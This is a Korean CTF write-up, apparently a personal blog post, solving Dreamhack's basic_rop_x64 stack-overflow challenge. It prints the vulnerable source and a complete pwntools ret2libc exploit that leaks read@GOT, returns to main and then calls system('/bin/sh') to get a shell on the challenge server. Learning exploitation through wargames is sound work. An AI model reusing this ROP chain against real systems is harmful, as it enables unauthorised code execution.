ROP X64 -Dreamhack-
문제의 소스코드는 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
보호기법을 확인하고 카나리와 별다른 함수를 호출하지 않기 때문에 패턴을 생성하여 손 쉽게 offset 을 구할 수 있다.
offsert = 72 == 0x48
이후 ROPgadget 을 탐색하고 ROP Chain 을 구성해야 한다.
pop rdi ; ret 을 가젯으로 사용하기로 했다. ##** Dreamhack 에서 pop rdi를 가장 많이 쓴다.
이후 strings -tx 을 활용하여 libc_base 에서 binsh 까지 offset 을 구할 수 있다.
즉 libc_base + 0x18cd57 은 /bin/sh의 주소값이 된다.
from pwn import *
p = remote('host3.dreamhack.games', 11704)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
#leak lb
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
read_plt = e.plt["read"]
read_got = e.got["read"]
main = e.symbols["main"]
pop_rdi = 0x0000000000400883
pay = b'A' * 0x48
pay += p64(pop_rdi)
pay += p64(read_got)
pay += p64(puts_plt)
pay += p64(main)
해당 부분을 통해 Ret2main 공격 기법을 활용한다.
Buf 을 꽉채우고 가젯을 활용하여 read.got 의 주소를 불러온다.
이후 main 함수로 다시 돌아간다.
def slog (name,addr): return success(": ".join ([name, hex(addr)]))
p.recvuntil(b"A" * 0x40)
read = u64(p.recv(6)+b'\x00'*0x2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x18cd57
slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)
이후 추가로 코드를 삼임하여 read.got. 주소를 받아온다. 이를 통해 libc_base 을 구할 수 있으며
아까 구했던 /bin/sh 에 offset 을 통하여 주소또한 구할 수 있다.
이를 통하여 lb + /bin/sh 주소 system 주소 모두 구할 수 있다.
#exploit_final
payload = b'A' * 0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
이후 다시 페이로드를 작성하여
ROP 공격을 수행한다.
최종 exploit 코드는 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games', 11704)
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
#leak lb
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
read_plt = e.plt["read"]
read_got = e.got["read"]
main = e.symbols["main"]
pop_rdi = 0x0000000000400883
pay = b'A' * 0x48
pay += p64(pop_rdi)
pay += p64(read_got)
pay += p64(puts_plt)
pay += p64(main)
p.send(pay)
def slog (name,addr): return success(": ".join ([name, hex(addr)]))
p.recvuntil(b"A" * 0x40)
read = u64(p.recv(6)+b'\x00'*0x2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x18cd57
slog("read", read)
slog("system", system)
slog("/bin/sh", binsh)
#exploit_final
payload = b'A' * 0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
야호 성공이다 !!
드디어 ROP 공격기법을 이해했다.. 벌써 시간이 몇주나 간지 모르겠다..
POP rdi 가젯이 있다면 이제 어떠한 ROP 문제도 풀 수 있을거 같다 !!!
드디어 ㅠㅠㅠㅠ ROP 공격기법을 100% 이해 했다고 나는 자신할 수 있다 !